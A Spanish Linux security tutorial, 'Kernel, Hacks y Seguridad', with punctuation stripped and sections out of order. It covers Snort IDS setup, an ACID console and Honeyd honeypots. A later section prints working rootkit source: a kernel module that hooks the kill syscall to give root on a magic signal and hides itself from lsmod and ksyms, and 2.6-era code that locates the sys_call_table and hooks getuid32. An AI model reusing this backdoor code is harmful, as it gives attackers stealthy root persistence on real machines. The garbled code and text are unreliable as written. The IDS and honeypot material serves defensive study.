Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 15: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 